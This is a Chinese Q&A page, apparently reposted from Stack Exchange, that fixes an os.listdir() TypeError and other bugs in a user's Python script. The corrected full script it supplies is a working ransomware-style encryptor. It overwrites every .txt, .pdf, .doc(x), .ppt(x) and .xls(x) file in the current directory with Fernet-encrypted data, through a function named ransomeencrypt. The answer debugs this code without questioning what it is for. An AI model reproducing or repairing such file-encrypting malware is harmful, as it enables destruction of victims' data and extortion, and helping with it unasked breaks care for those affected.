You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Windows10下os.listdir()触发TypeError参数错误,请求技术协助

解决os.listdir()参数错误及代码其他问题

1. 处理TypeError: listdir() takes exactly 1 argument (0 given)错误

  • 错误根源:若你的Python环境为2.x版本,os.listdir()必须传入路径参数;即便使用3.x版本,显式指定路径也能避免环境兼容问题。
  • 修正方案:将Raw_Files = os.listdir()替换为以下任意一种写法:
    • Raw_Files = os.listdir('.'):.代表当前工作目录
    • Raw_Files = os.listdir(os.getcwd()):os.getcwd()会返回当前工作目录的绝对路径

2. 修正代码中的其他潜在问题

  • endswith参数错误:该方法要求传入后缀组成的元组,而非多个独立参数,同时你写的.ppx应为.pptx(常见PPT后缀):
    原代码:

    if File.endswith('.txt', '.pdf', '.doc', '.docx', '.ppt', '.ppx', '.xls', '.xlsx'):
    

    修正后:

    if File.endswith(('.txt', '.pdf', '.doc', '.docx', '.ppt', '.pptx', '.xls', '.xlsx')):
    
  • 变量名错误:最后循环调用函数时,误用了未定义的file变量,应使用循环变量File:
    原代码:

    for File in Files:
        function (file)
    

    修正后:

    for File in Files:
        function(File)
    

修正后的完整代码

import os
from cryptography.fernet import Fernet

# 需提前生成或指定Fernet密钥,示例:key = Fernet.generate_key()
key = b'your_fernet_key_here'

def ransomeencrypt(file_name):
    Lock = Fernet(key)
    with open(file_name, 'rb') as file:
        data = file.read()
    protected = Lock.encrypt(data)
    with open(file_name, 'wb') as file:
        file.write(protected)

def ransomedecrypt(file_name):
    Unlock = Fernet(key)
    with open(file_name, 'rb') as file:
        data = file.read()
    decoded = Unlock.decrypt(data)
    with open(file_name, 'wb') as file:
        file.write(decoded)

# 显式传入当前目录路径
Raw_Files = os.listdir('.')
Files = list()

for File in Raw_Files:
    if File.endswith(('.txt', '.pdf', '.doc', '.docx', '.ppt', '.pptx', '.xls', '.xlsx')):
        Files.append(File)

function = ransomeencrypt

for File in Files:
    function(File)

内容的提问来源于stack exchange,提问作者Junaid Sheik

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.15 04:25:17